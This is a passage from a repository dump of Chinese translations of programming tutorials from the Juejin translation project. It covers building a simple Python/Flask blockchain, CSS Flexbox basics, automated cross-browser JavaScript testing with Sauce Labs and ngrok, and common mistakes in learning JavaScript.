21`。因为这样得到的哈希的结尾是 `0`: ``` hash(5 * 21) = 1253e9373e...5e3600155e860 ``` 比特币的工作量算法叫做 [`Hashcash`](https://en.wikipedia.org/wiki/Hashcash)。它和上面给出例子非常类似。矿工们争相求解这个算法以便创建新块。总体而言,难度大小取决于要在字符串中找到多少特定字符。矿工给出答案的报酬就是在交易中得到比特币。 而网络可以**轻松地**验证答案。 ### 实现基本的工作量证明 接下来为我们的区块链实现一个类似的算法。规则和上面的例子类似: > 寻找数字 `p`,当它和前一个区块的证明一起求哈希时,该哈希开头是四个 `0`。 ``` import hashlib import json from time import time from uuid import uuid4 class Blockchain(object): ... def proof_of_work(self, last_proof): """ Simple Proof of Work Algorithm: - Find a number p' such that hash(pp') contains leading 4 zeroes, where p is the previous p' - p is the previous proof, and p' is the new proof :param last_proof: :return: """ proof = 0 while self.valid_proof(last_proof, proof) is False: proof += 1 return proof @staticmethod def valid_proof(last_proof, proof): """ Validates the Proof: Does hash(last_proof, proof) contain 4 leading zeroes? :param last_proof: Previous Proof :param proof: Current Proof :return: True if correct, False if not. """ guess = f'{last_proof}{proof}'.encode() guess_hash = hashlib.sha256(guess).hexdigest() return guess_hash[:4] == "0000" ``` 要调整算法的难度,直接修改要求的零的个数就行了。不过 4 个零足够了。你会发现哪怕多一个零都会让求解难度倍增。 类写得差不多了,可以用 HTTP 请求与之交互了。 ## 第二步:将 Blockchain 用作 API 本文使用 Python Flask 框架。Flask 是一个微框架,易于将网络端点映射到 Python 函数。由此可以轻易地借助 HTTP 请求通过网络和区块链交互。 这里需要创建三个方法: * `/transactions/new` 在区块中新增交易 * `/mine` 通知服务器开采新节点 * `/chain` 返回完整的区块链 ### 开始 Flask 吧 这个服务器会构成区块链网络中的一个节点。下面是一些模板代码: ``` import hashlib import json from textwrap import dedent from time import time from uuid import uuid4 from flask import Flask class Blockchain(object): ... # Instantiate our Node app = Flask(__name__) # Generate a globally unique address for this node node_identifier = str(uuid4()).replace('-', '') # Instantiate the Blockchain blockchain = Blockchain() @app.route('/mine', methods=['GET']) def mine(): return "We'll mine a new Block" @app.route('/transactions/new', methods=['POST']) def new_transaction(): return "We'll add a new transaction" @app.route('/chain', methods=['GET']) def full_chain(): response = { 'chain': blockchain.chain, 'length': len(blockchain.chain), } return jsonify(response), 200 if __name__ == '__main__': app.run(host='0.0.0.0', port=5000) ``` 稍微解释一下: * **第 15 行:** 初始化节点。更多信息请阅读 [Flask 文档](http://flask.pocoo.org/docs/0.12/quickstart/#a-minimal-application)。 * **第 18 行:** 随机给节点起名。 * **第 21 行:** 初始化 `Blockchain` 类 * **第 24–26 行:** 创建 `/mine` 接口,使用 `GET` 方法。 * **第 28–30 行:** 创建 `/transactions/new` 接口,使用 `POST` 方法,因为要给它发数据。 * **第 32–38 行:** 创建 `/chain` 接口,它会返回整个区块链。 * **第 40–41 行:** 服务器运行在 5000 端口。 ### 交易端 下面是交易请求的内容,也就是发给服务器的东西: ``` { "sender": "my address", "recipient": "someone else's address", "amount": 5 } ``` 因为已经有类方法将交易加到区块中,剩下的就很简单了。写一个添加交易的函数: ``` import hashlib import json from textwrap import dedent from time import time from uuid import uuid4 from flask import Flask, jsonify, request ... @app.route('/transactions/new', methods=['POST']) def new_transaction(): values = request.get_json() # Check that the required fields are in the POST'ed data required = ['sender', 'recipient', 'amount'] if not all(k in values for k in required): return 'Missing values', 400 # Create a new Transaction index = blockchain.new_transaction(values['sender'], values['recipient'], values['amount']) response = {'message': f'Transaction will be added to Block {index}'} return jsonify(response), 201 ``` 创建交易的方法 ### 挖矿端 挖矿端是见证奇迹的地方。非常简单,只需要做三件事: 1. 计算工作量证明 2. 奖励矿工(这里就是我们),新增一次交易就赚一个币 3. 将区块加入链就可以构建新区块 ``` import hashlib import json from time import time from uuid import uuid4 from flask import Flask, jsonify, request ... @app.route('/mine', methods=['GET']) def mine(): # We run the proof of work algorithm to get the next proof... last_block = blockchain.last_block last_proof = last_block['proof'] proof = blockchain.proof_of_work(last_proof) # We must receive a reward for finding the proof. # The sender is "0" to signify that this node has mined a new coin. blockchain.new_transaction( sender="0", recipient=node_identifier, amount=1, ) # Forge the new Block by adding it to the chain block = blockchain.new_block(proof) response = { 'message': "New Block Forged", 'index': block['index'], 'transactions': block['transactions'], 'proof': block['proof'], 'previous_hash': block['previous_hash'], } return jsonify(response), 200 ``` 注意,挖出来区块的接受方就是节点的地址。这里做的事情基本上就是和 Blockchain 类的方法打交道。代码写到这里就差不多搞定了,下面可以和区块链进行交互了。 ## 第三步:和 Blockchain 交互 可以用简洁又古老的 cURL 或者 Postman 来通过网络用 API 和区块链交互。 启动服务器: ``` $ python blockchain.py * Running on [http://127.0.0.1:5000/](http://127.0.0.1:5000/) (Press CTRL+C to quit) ``` 通过 `GET` 请求 `http://localhost:5000/mine` 尝试挖一块新区块。 ![Using Postman to make a GET request](https://cdn-images-1.medium.com/max/800/1*ufYwRmWgQeA-Jxg0zgYLOA.png) 通过 `POST` 请求 `http://localhost:5000/transactions/new` 来创建新交易,POST 的数据要包含如下交易结构: ![Using Postman to make a POST request](https://cdn-images-1.medium.com/max/800/1*O89KNbEWj1vigMZ6VelHAg.png) 不用 Postman 的话还可以用等价的 cURL 命令: ``` $ curl -X POST -H "Content-Type: application/json" -d '{ "sender": "d4ee26eee15148ee92c6cd394edd974e", "recipient": "someone-other-address", "amount": 5 }' "[http://localhost:5000/transactions/new](http://localhost:5000/transactions/new)" ``` 重启服务器后,加上新挖出的两个区块,现在有了三个区块。通过请求 `http://localhost:5000/chain` 来查看全部区块链: ``` { "chain": [ { "index": 1, "previous_hash": 1, "proof": 100, "timestamp": 1506280650.770839, "transactions": [] }, { "index": 2, "previous_hash": "c099bc...bfb7", "proof": 35293, "timestamp": 1506280664.717925, "transactions": [ { "amount": 1, "recipient": "8bbcb347e0634905b0cac7955bae152b", "sender": "0" } ] }, { "index": 3, "previous_hash": "eff91a...10f2", "proof": 35089, "timestamp": 1506280666.1086972, "transactions": [ { "amount": 1, "recipient": "8bbcb347e0634905b0cac7955bae152b", "sender": "0" } ] } ], "length": 3 } ``` ## 第四步:共识 非常酷对不对?我们已经构建了基本的区块链,不仅支持交易,还可以挖矿。但是区块链的核心是**去中心化**。但是如果要去中心化,怎么知道每个区块都在同一个链中呢?这就是**共识**问题,如果网络中不只这一个节点,必须实现共识算法。 ### 注册新节点 在实现共识算法之前:我们需要让节点知道其所在的网络存在邻居节点。网络中的每一个节点都应该保存网络中其他节点的信息。所以要写几个新接口: 1. `/nodes/register` 接受新节点的列表,形式是 URL。 2. `/nodes/resolve` 来执行共识算法,解决所有冲突,确保节点的链是正确的 下面需要修改 Blockchain 类的构造函数,然后写一下注册节点的方法: ``` ... from urllib.parse import urlparse ... class Blockchain(object): def __init__(self): ... self.nodes = set() ... def register_node(self, address): """ Add a new node to the list of nodes :param address: Address of node. Eg. 'http://192.168.0.5:5000' :return: None """ parsed_url = urlparse(address) self.nodes.add(parsed_url.netloc) ``` 在网络中注册邻居节点的方法 注意,这里使用了 `set()` 来保存节点列表。这是用来确保添加节点是幂等的简单方法,也就是说不管某节点被添加了多少次,它只出现一次。 ### 实现共识网络 上面提过,冲突就是一个节点的链和其他节点的不同。要解决冲突,我们制定了一个规则:**最长有效链即权威**。也就是说,网络中最长的链就是**事实上**正确的链。有了这个算法,就可以在网络中的多个节点中实现**共识**。 ``` ... import requests class Blockchain(object) ... def valid_chain(self, chain): """ Determine if a given blockchain is valid :param chain: A blockchain :return: True if valid, False if not """ last_block = chain[0] current_index = 1 while current_index < len(chain): block = chain[current_index] print(f'{last_block}') print(f'{block}') print("\n-----------\n") # Check that the hash of the block is correct if block['previous_hash'] != self.hash(last_block): return False # Check that the Proof of Work is correct if not self.valid_proof(last_block['proof'], block['proof']): return False last_block = block current_index += 1 return True def resolve_conflicts(self): """ This is our Consensus Algorithm, it resolves conflicts by replacing our chain with the longest one in the network. :return: True if our chain was replaced, False if not """ neighbours = self.nodes new_chain = None # We're only looking for chains longer than ours max_length = len(self.chain) # Grab and verify the chains from all the nodes in our network for node in neighbours: response = requests.get(f'http://{node}/chain') if response.status_code == 200: length = response.json()['length'] chain = response.json()['chain'] # Check if the length is longer and the chain is valid if length > max_length and self.valid_chain(chain): max_length = length new_chain = chain # Replace our chain if we discovered a new, valid chain longer than ours if new_chain: self.chain = new_chain return True return False ``` 第一个方法 `valid_chain()` 负责检查链的有效性,主要是通过遍历每个区块,验证哈希和工作量证明。 `resolve_conflicts()` 方法会遍历所有邻居节点,**下载**它们的链,用上面的方法来验证。**如果找到了有效链,而且长度比本地的要长,就替换掉本地的链**。 接下来将这两个接口注册到 API 中,一个用来新增邻居节点,另一个来解决冲突: ``` @app.route('/nodes/register', methods=['POST']) def register_nodes(): values = request.get_json() nodes = values.get('nodes') if nodes is None: return "Error: Please supply a valid list of nodes", 400 for node in nodes: blockchain.register_node(node) response = { 'message': 'New nodes have been added', 'total_nodes': list(blockchain.nodes), } return jsonify(response), 201 @app.route('/nodes/resolve', methods=['GET']) def consensus(): replaced = blockchain.resolve_conflicts() if replaced: response = { 'message': 'Our chain was replaced', 'new_chain': blockchain.chain } else: response = { 'message': 'Our chain is authoritative', 'chain': blockchain.chain } return jsonify(response), 200 ``` 到这一步,如果你愿意,可以用另一台电脑,在网络中启动不同的节点。或者用同一台电脑的不同端口启动进程加入网络。我选择用同一个电脑的不同的端口注册新节点,这样就有了两个节点:`http://localhost:5000` 和 `http://localhost:5001`。 ![Registering a new Node](https://cdn-images-1.medium.com/max/800/1*Dd78u-gmtwhQWHhPG3qMTQ.png) 我在 2 号节点挖出了新区块,保证 2 号节点的链更长。然后用 `GET` 调用 1 号节点的 `/nodes/resolve`,可以发现链被通过共识算法替换了: ![Consensus Algorithm at Work](https://cdn-images-1.medium.com/max/800/1*SGO5MWVf7GguIxfz6S8NVw.png) 这样子就差不多完工了。 叫一些朋友来一起试试你的区块链吧。 我希望这个教程可以激发你创建新东西的热情。我迷恋数字加密货币,因为我相信区块链技术会快速改变我们思考经济学,政府以及记录信息的方式。 **更新**:我打算接着写本文的第二部分,继续拓展本文实现的区块链以涵盖交易验证机制并讨论如何让区块链产品化。 > 如果你喜欢这个教程,或者有建议或疑问,欢迎评论。如果你发现了任何错误,欢迎在[这里](https://github.com/dvf/blockchain)为我们贡献代码! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/learn-css-flexbox-in-3-minutes.md ================================================ > * 原文地址:[Learn CSS Flexbox in 3 Minutes](https://medium.com/learning-new-stuff/learn-css-flexbox-in-3-minutes-c616c7070672) * 原文作者:[Per Harald Borgen](https://medium.com/@perborgen) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Gran](https://github.com/Graning) * 校对者:[mypchas6fans](https://github.com/mypchas6fans), [MAYDAY1993](https://github.com/MAYDAY1993) # 3 分钟掌握 CSS Flexbox ![](https://cdn-images-1.medium.com/max/800/1*baslR_nGORHYX4STOjhhpg.png) 在这篇文章中你将学到关于 CSS 中弹性布局**最重要**的概念。如果你发现你经常在 CSS 布局上纠结,这篇文章将帮你解脱出来。 我们将只专注那些核心要素,暂时抛弃那些你现在**不应该注意**的东西直到你掌握基础。 **1\. 容器和项目** 弹性布局中两个主要的组件是**容器**(蓝色)和**项目**(红色)。我们将在本教程的这个示例中看到,无论是**容器**还是**项目**都是 **div’s**。查看 [示例代码](https://github.com/perborgen/FlexboxTutorial) 如果你有兴趣 。 #### 横向布局 要创建一个弹性布局,只需要给**容器**设置以下的 CSS 属性。 .container { display: flex; } 布局的结果如下: ![](https://cdn-images-1.medium.com/max/800/1*3zzvOetr1fjDrZKEEmo9dA.png) 注意你目前不需要对**项目**做任何事,它们将沿水平轴自动定位。 #### 垂直布局 在上述布局中,**主轴线**是水平的,**交叉轴**是垂直的。**轴**的概念对理解弹性布局有帮助。 当你添加 **flex-direction**: **column** 时可以交换这两个轴。 .container { display: flex; flex-direction: column; } ![](https://cdn-images-1.medium.com/max/800/1\*yPT-82-JPYk8b2Rh\_3K6sQ.png) 则现在**主轴线**是垂直的,而**交叉轴**是水平的,导致**项目**被垂直堆叠。 ### 2\. Justify content and Align items 为了使列表再次水平,我们能将 **flex-direction** 从 **column** 设置为 **row** 因为这将再次翻转弹性布局的轴。 轴的概念必须理解是因为 **justify-content** 和 **align-items** 这两个属性控制如何使项目**主轴线**和**交叉轴**分别定位。 让我们通过使用 **justify-content** 来沿**主轴**居中所有的项目: .container { display: flex; flex-direction: row; justify-content: center; } ![](https://cdn-images-1.medium.com/max/800/1\*KAFfHDFWCd12qI3TqSS8DQ.png) 使用 **align-items** 沿着**交叉轴**进行调整。 .container { display: flex; flex-direction: row; justify-content: center; align-items: center; } ![](https://cdn-images-1.medium.com/max/800/1\*S666Y69uJUWgQ0rz8tzjOQ.png) 以下是你可以为 **justify-content** 和 **align-items** 设置的其他值: **justify-content:** * flex-start (**default**) * flex-end * center * space-between * space-around **align-items:** * flex-start **(default)** * flex-end * center * baseline * stretch 我建议你将 **justify-content** 和 **align-items** 属性与可为 **column** 和 **row** 值的 **flex-direction** 结合使用。这将让你更好的理解这个概念。 ### 3\. The items 我们将了解的最后一件事就是 **items** 本身,以及如何将具体的样式单独设置。 比方说,我们想调整第一个 item 的位置,我们通过给它一个与 **align-items** 接收同样的值的 **align-self** CSS 属性来实现: .item1 { align-self: flex-end; } 将形成以下的布局: ![](https://cdn-images-1.medium.com/max/800/1\*-NBG56jX-QKYaga6qiF0eg.png) 就是这样! 当然关于弹性布局还有很多要学习,但是上面的概念是我最常用的,因此能正确理解很重要。 ================================================ FILE: TODO/learning-how-to-set-up-automated-cross-browser-javascript-unit-testing.md ================================================ * 原文链接:[Learning How to Set Up Automated, Cross-browser JavaScript Unit Testing](https://philipwalton.com/articles/learning-how-to-set-up-automated-cross-browser-javascript-unit-testing) * 原文作者:[PHILIP WALTON](https://philipwalton.com/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[owenlyn](https://github.com/owenlyn) * 校对者:[Yaowenjie](https://github.com/Yaowenjie) [MAYDAY1993](https://github.com/MAYDAY1993) # 如何搭建自动化、跨浏览器的 JavaScript 单元测试 我们都知道在各个不同的浏览器环境里测试代码是很重要的,并且在大多数时候,我们这些 Web 开发者在这一点上还是做的不错的 —— 至少在第一次发布项目的时候是这样。 然而我们每次更改代码之后的测试工作,却做的不尽人意。 我深切地知道我本人就是这样的 —— 我早就把“学习怎样搭建自动化、跨浏览器的 JavaScript 单元测试”写在 To-do List 上了,但每当我坐下来想要真正的去解决这个问题的时候,我却不得不一次次地放弃了。虽然我知道我的懒惰是其中一部分原因,但同时,在这个问题上的相关信息极其匮乏,也是一个重要因素。 现在已经有了很多声称可以让 “JavasScript 测试变得简单而又自动化”的工具和框架(比如 Karma ),但从我的经验来看,这些工具制造的麻烦比它们解决的问题还要多。那些“有求必应”的工具会在你掌握了它们之后变得很好用,但往往掌握使用这些工具的技巧本身就是个难题。并且我想要的是真正理解这一过程在底层的工作原理,以便在出现问题的时候我能解决。 对我来说,最好的学习方法就是尝试着把一件事情从零开始做一遍,所以我决定自己写一个测试工具,然后把我从中学到的分享给开发者社区。 我之所以写这篇文章,是因为多年之前当我第一次开始发布开源项目的时候,我就希望能存在这样的一篇文章。如果你也想做自动化的跨浏览器 JavaScript 单元测试,却从未尝试过,那么这篇文章就是为你而写的。这篇文章将会阐释这个过程并教你怎么自己去做。 ## 手工测试过程 在我解释自动化测试之前,我觉得有必要确认一下我们对怎么做手工测试的理解是一致的。 毕竟,自动化测试只是用机器代替人去不停重复一个已经存在的流程。如果你不能完全理解怎样去做手工测试,那么你也不太可能理解自动化测试的过程。 在手工测试中,你把想要做的测试写在一个测试文件中,大概看起来像这样: var assert = require('assert'); var SomeClass = require('../lib/some-class'); describe('SomeClass', function() { describe('someMethod', function() { it('accepts thing A and transforms it into thing B', function() { var sc = new SomeClass(); assert.equal(sc.someMethod('A'), 'B'); }); }); }); 这个栗子使用了 [Mocha](https://mochajs.org/) 和 Node.js 里面的 [`assert`](https://nodejs.org/api/assert.html) 模块, 但具体用哪一个库并不重要 —— 你可用任何一个你熟悉的库。 由于 Mocha 运行在 Node.js 上,你可以用下面的命令在 terminal(命令行)里测试刚刚写的栗子: mocha test/some-class-test.js 要在浏览器里打开这个测试栗子,你需要一个 `
            如果你不使用 Node.js,那么你在一开始就已经有了类似这样的 HTML 一个文件,唯一的不同就是你依赖的资源是单独用 ` 改成: 上述代码和 Mocha 默认模板的唯一区别是上述代码将测试结果以 Sauce Labs 接受的格式分配给一个叫 window.mochaResults 的变量。因为我们新增的这些代码和我们手工在浏览器里测试代码并不冲突,你可以放心的把这段设置成 Mocha 的默认模板。 重申一下我之前强调的一点,当 Sauce Labs “运行”你的单元测试的时候,它并不是真的在运行任何东西 —— 他只是访问一个网页,直到一个特定值在 `window.mochaResults` 中被找到,然后它记录下这些值。仅此而已。 #### 看看你的测试通过了没有 [Start JS Unit Tests](https://wiki.saucelabs.com/display/DOCS/JavaScript+Unit+Testing+Methods#JavaScriptUnitTestingMethods-StartJSUnitTests) 这个方法仅仅让 Sauce Labs 把单元测试放进一个任务列表中,但并不返回测试结果。它仅仅返回一个任务队列中的任务 ID 列表,看起来像这样: { "js tests": [ "9b6a2d7e6c8d4fd2afeeb0ff7e54e694", "d38688ec7256497da6966f4523ddee76", "14054e68ccd344c0bed77a798a9ce1e8", "dbc54181f7d947458f52201ea5fcb901" ] } 要看你的测试到底通过没有,你需要调用 [Get JS Unit Test Status](https://wiki.saucelabs.com/display/DOCS/JavaScript+Unit+Testing+Methods#JavaScriptUnitTestingMethods-GetJSUnitTestStatus) 这个方法。这个方法接收一个任务 ID 列表,并返回每一个任务的状态。 思路是你定期地调用这个方法,知道所有的任务都完成: request({ url: `https://saucelabs.com/rest/v1/${username}/js-tests/status`, method: 'POST', auth: { username: process.env.SAUCE_USERNAME, password: process.env.SAUCE_ACCESS_KEY }, json: true, body: jsTests, }, (err, response) => { if (err) { console.error(err); } else { console.log(response.body); } }); 返回值看起来像这样: { "completed": false, "js tests": [ { "url": "https://saucelabs.com/jobs/75ac4cadb85e415fae957f7811d778b8", "platform": [ "Windows 10", "chrome", "latest" ], "result": { "passes": 29, "tests": 30, "end": {}, "suites": 7, "reports": [], "start": {}, "duration": 97, "failures": 0, "pending": 1 }, "id": "1f74a237d5ba4a47b5a42570ae1e7999", "job_id": "75ac4cadb85e415fae957f7811d778b8" }, // ... the rest of the jobs ] } 当 `response.body.complete` 这个属性的值为 `true` 的时候,意味着你所有的任务都已经完成了,你可以遍历每一个任务来看它们是否通过了。 ### 在 localhost 上进行测试 我已经解释了 Sauce Labs 通过访问一个网址来运行你的单元测试。当然,这就意味着你提供的网址可以在互联网上被所有人访问的。 但如果你使用 `localhost` 的话,这又是个麻烦。 不过你放心,这个问题已经有了一堆解决方案,包括官方推荐的 [Sauce Connect](https://wiki.saucelabs.com/display/DOCS/Sauce+Connect+Proxy) —— 一个由 Sauce Labs 发布的代理服务器软件,它是用来连接 Sauce Labs 的虚拟机和你的本地机器的。 Sauce Connect 在设计的时候就考虑到了安全性,任何一个第三方都几乎不可能获取你的代码。但 Sauce Connect 不好的一面就是它比较难以设置和使用。 如果安全性是你代码的一个要点,那或许 Sauce Connect 值得你花点时间去研究;如果不是的话,那么还有一些其他相似的解决方案能让过程更简单。 我选择了 [ngrok](https://ngrok.com/)。 #### ngrok [ngrok](https://ngrok.com/) 是一个用来和 localhost 建立安全连接的小工具。它会为本地服务器创建一个公共的 URL[[2]](https://philipwalton.com/articles/learning-how-to-set-up-automated-cross-browser-javascript-unit-testing#footnote-2),而这正是你使用 Sauce Labs 所需要的。 如果你在虚拟机上做过开发或者是手工测试,那你很可能已经听过 ngrok,即使没有的话,你也应该去了解一下它,这是一个非常实用的小工具。 在本地安装 ngrok 非常方便,你只需要下载编译好的代码并把它加到 path 系统变量就好了(或者“并把它添加到路径就好了”?)。当然,如果你要用 Node 的话你也可以通过 npm 来安装: npm install ngrok 你也可以通过程序从 Node 来启动 ngrok,请看下面的代码(如果你想完整的了解细节的话,这里是 [API文档](https://philipwalton.com/articles/learning-how-to-set-up-automated-cross-browser-javascript-unit-testing) ): const ngrok = require('ngrok'); ngrok.connect(port, (err, url) => { if (err) { console.error(err); } else { console.log(`Tests now accessible at: ${url}`); } }); 一旦你的测试文件有了一个公共 URL 之后,使用 Sauce Labs 来跨浏览器测试你的本地代码会从本质上变得更简单。 ## 化零为整 这篇文章讨论了很多话题,这也许让自动化、跨浏览器 JavaScript 单元测试看起来很复杂,但其实不是酱紫的。 我的这篇文章结构是从我自己的角度出发,把自己当成一个新手来写的。回顾我的学习历程,由于缺少有用的信息,唯一复杂的是整个过程的工作原理以及如何化零为整。 一旦你理解了这些步骤,这件事情就这么简单,这里是个总结: **一开始的手工过程:** 1. 把你的单元测试写到一个文件里面,然后把这个文件放进一个 HTML 页面里。 2. 在本地的一两个浏览器里运行这些单元测试以确保它们没有 bug。 **把手工过程自动化:** 1. 创建一个开源的 Sauce Labs 账户并获取用户名和密码。 2. 更新测试页面的源代码让 Sauce Labs 可以从 JavaScript 的全局变量中读取测试结果。 3. 用 ngrok 来创建一个公共 URL。 4. 调用 Start JS Unit Tests 来运行你的代码。 5. 定期调用 Get JS Unit Test Status 方法获取测试状态直到测试结束。 6. 报告结果。 ## 敢不敢再简单一点?! 我知道在文章的一开始,我说过一大堆关于你根本不需要任何一个框架就可以做自动化、跨浏览器 JavaScript 单元测试的话,现在我依然相信这一点。但是,尽管上面的过程很简单,你大概也不想每做一个项目就写一遍这样的代码。 我有一些很久以前做过的项目,我想把自动化测试加到这些项目里面,这就让我有了把这做成一个独立模块的动力。 我建议你尝试着把上面这个自动化的过程自己做一下,这样你才能完全理解这个过程是怎么完成的。但如果你没有时间的话,我建议你试试我做的库 [Easy Sauce](https://github.com/philipwalton/easy-sauce)。 ### Easy Sauce [Easy Sauce](https://github.com/philipwalton/easy-sauce)是一个包含 Node 包和叫 `easy-sauce` 的命令行工具,现在我如果有在 Sauce Labs 云上做跨浏览器测试的 JavaScript 项目,我都用它。 `easy-sauce` 命令行需要你 HTML 测试文件的路径(默认 `/test/`),一个可以开启本地服务器的端口(默认 `1337`),以及一个含有浏览器/操作系统的列表。`easy-sauce` 接下来会在 Sauce Labs 的 selenium 云上运行你的代码,把结果写到 console 里,然后在运行结束的时候自动退出并告诉你哪些测试通过了。 为了更方便 npm 包的用户,`easy-sauce` 会在 `package.json` 里自动寻找设置选项,这样你甚至不用分开存储他们。这让软件与用户的交流变得更清楚,也让你的用户清楚的知道你的包到底支持哪些浏览器/操作系统。 关于完整的 `easy-sauce` [使用手册](https://github.com/philipwalton/easy-sauce),请看我的 Github。 最后,我想强调一下这个只是针对我的个人需求写的一个项目。虽然我认为这个项目会对一部分人很有帮助,我目前还没有计划把它变为一个全面的测试解决方案。 `easy-sauce` 这个项目存在的意义是为了填补一个空白——在这之前,我,以及其他很多开发者都不能在我们声称可以可以支持的环境里面好好测试我们的软件。 ## 总结 在文章的一开始我写下了我的要求列表,现在在 Easy Sauce 的帮助下,我可以在我做的任何项目里满足这些需求。 如果你的项目里还没有自动化的跨浏览器 JavaScript 单元测试系统,我推荐你试试 Easy Sauce。即使你不想用它,你现在至少也有了足够的知识在你的项目中解决这个测试问题,或是对现有的测试工具有了更好的了解。 希望你享受测试的过程! **脚注** 1. 使用连接器的另一个不足之处就是,目前为止内存追踪和 source map兼容的还不是很好。Chrome 浏览器下的一个解决方案是使用[node-source-map-support](https://github.com/evanw/node-source-map-support#browser-support)。 2. ngrok 生成的链接(URL)是公共的,这意味着理论上互联网上的任何一个人都可以访问这个链接。不过,因为这个链接是随机生成的,而且通常你的测试只需要几分钟就可以了,所以其他人找到这个链接的可能性微乎其微。从这个角度看,虽然 ngrok 的安全性比 Sauce Connect 稍弱一些,但仍然是一个相对安全的解决方案。 ================================================ FILE: TODO/learning-javascript-9-common-mistakes.md ================================================ > * 原文地址:[Learning JavaScript: 9 Common Mistakes That Are Holding You Back](https://www.sitepoint.com/learning-javascript-9-common-mistakes/) > * 原文作者:[Yaphi Berhanu](https://www.sitepoint.com/author/yberhanu/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/learning-javascript-9-common-mistakes.md](https://github.com/xitu/gold-miner/blob/master/TODO/learning-javascript-9-common-mistakes.md) > * 译者:[lekenny](https://github.com/lekenny) > * 校对者:[lampui](https://github.com/lampui),[Yuuoniy](https://github.com/Yuuoniy) # 学习 JavaScript:9 个常见错误阻碍你进步 很多人尝试学习 JavaScript ,但是不久就放弃了。然后他们就告诉自己,“JavaScript 太复杂了”,更有甚者说,“我不是前端开发的料”。 这种情况挺让人悲伤的。其实根本不必放弃,所要做的仅仅是换一种不同的学习方法。 在这篇文章中,我们将介绍一些最常见的错误学习方法,并了解如何避免这些错误。许多技巧不仅适用于 JavaScript,甚至可以用到 web 开发上,所以也算是一种福利。 我们来吧! ## 错误 #1:开始学习之前过度分析 开始学习 JavaScript 之前,你可以找到很多相关的信息。如果你去看,就会发现一些 JavaScript 是最好的或者是最坏的、你是需要这个框架还那个框架的相关信息。你也可能会听到你需要以某种方式编写 JavaScript,否则你永远不会成为“真正”的开发人员等。 不管这些说的正确与否,没有什么比浪费六个月到一年还没有开始更糟糕。 开始敲代码吧,它不一定完美,可能很糟糕。但如果你开始了,就通过了阻碍很多人的障碍之一了。 ## 错误 #2:学习原生 JavaScript 之前学习框架 JavaScript 框架建立在原生 JavaScript 之上,因此如果你理解了 JavaScript,你也就自然而然的知道如何使用任何 JavaScript 框架的基本原理。 然而,如果你直接学习一个框架,最后也只是记住了它的语法却不理解它的原理。这就像在不知道词语意思的情况下造句,最终你只是随便地记住了一些词语,却不知道这些词语的意思并且不会组织这些词语来学以致用。 如果你直接进入一个框架,那将会更难学习,当你需要另一个框架你会更难适应。如果你首先学习基础的 JavaScript,那么你将有一个坚实的基础来了解所有的框架。 ## 错误 #3:好高骛远 最常见的错误之一就是在理解概念之后立即采取行动。 我一直在努力解决这个问题,因为一旦了解某些东西,你就想更进一步。 像对待新玩具一样对待每个概念是很有帮助的;这意味着你需要花一些时间来享受你刚学到的东西。玩耍、实验,看看你能不能做一些新的事情。你会学到很多,你会记得更好。 当你感觉自己闭着眼睛都能运用自如的时候再继续向下学习。可能在达到这一步之前,你需要更多的时间,但是这将是你接下来的学习变得更快。 另一方面,如果你过于急躁,你就不会太注意细节。但令人沮丧的是,这会使你之后的学习成本大幅提升。其实这也是人们常说要放弃学习 JavaScript 的常见原因之一。 ## 错误 #4:没有将概念理解透彻 学习就像爬楼梯:如果你能走一步,你可以继续采取更多的步骤,直到你达到目标。当有些东西难以理解时,往往是因为你想要进行一次飞跃,而不是一次走一步。当然这是痴心妄想! 在实际场景中,我看到人们对某段代码不理解的时候,我会请他们解释一下,他们会试图一下解释清整个问题。那我会请他们再一行一行的解释一遍,这样是有道理的。 如果有些部分很让人费解,那经常是因为跳过了某些东西,那么这也将有助于你去关注细节,直到找出症结所在。如果一个概念在分解之后仍然没有意义,那你也会有更容易找到相关解决方法,因为查找特定的主题比胡乱搜索更容易。 ## 错误 #5:太早尝试复杂的项目 刚开始学习 JavaScript 的人经常会说“我就随便定个小目标,写一个 Facebook 那样的网站算了”,没有意识到项目所涉及的深度。当项目逐渐深入时,他们就放弃学习 JavaScript 了。 我更详细地介绍了[关于项目](https://www.sitepoint.com/projects-can-sometimes-be-the-worst-way-to-learn-javascript/),但是在学习的时候,从一些基本概念开始会更容易。当你开始做项目时,你可以在工具包中添加一些构建工具。 更明确地说,我不是要那种越旷日持久的项目。我刚刚发现,如果我先做了一些简单的部分,比如在浏览器中显示一些文本或响应一个按钮,那么就可以更轻松地启动项目。 ## 错误 #6:不在真实环境下练习 当你学习 JavaScript 时,你可能会在不符合真实环境下进行练习。例如,你可能在网站的内置代码编辑器中输入内容,或者你可能依赖于教程中的粘贴文件。 这些方法对于学习来说可能是非常好的,但是你也可以尝试自己搭建环境。这意味着使用你自己的文本编辑器,并从头开始编写项目。 如果你不自己独立练习每一个概念,那你会依赖于训练环境。你最终会遇到这样的情况:你已经花了很多时间来学习,但你一个都无法掌握。 ## 错误 #7:将自己与大神进行比较 让自己更沮丧的最简单的方法之一就是和大神进行比较。因为你总是看他们在那里,而不是看他们如何到达那里。 举个例子,人们看到我的教程,并问我如何写这么干净的代码。他们说他们无法编写像这样的干净的代码,所以也许他们根本就不是 JavaScript 的那块料。 事实是我的过程是一团糟。我不断试验、犯错、查阅资料,写下丑陋的代码,最后把所有的内容都细化成一个可呈现的教程。人们看了优秀的版本,并且假设整个过程就是这样的。我也做过关于教程作者的这些假设,直到我开始写我自己的教程。 关键点是,认真学习你正在学习的东西,你会得到进步。继续重复这个过程,很快别人就会好奇你是如何达到那种高度的。 ## 错误 #8:只看教程不写代码 你会自然而然的花费大量的时间来观看视频和教程,但是除非你自己动手编写代码,否则你不能真的学会。 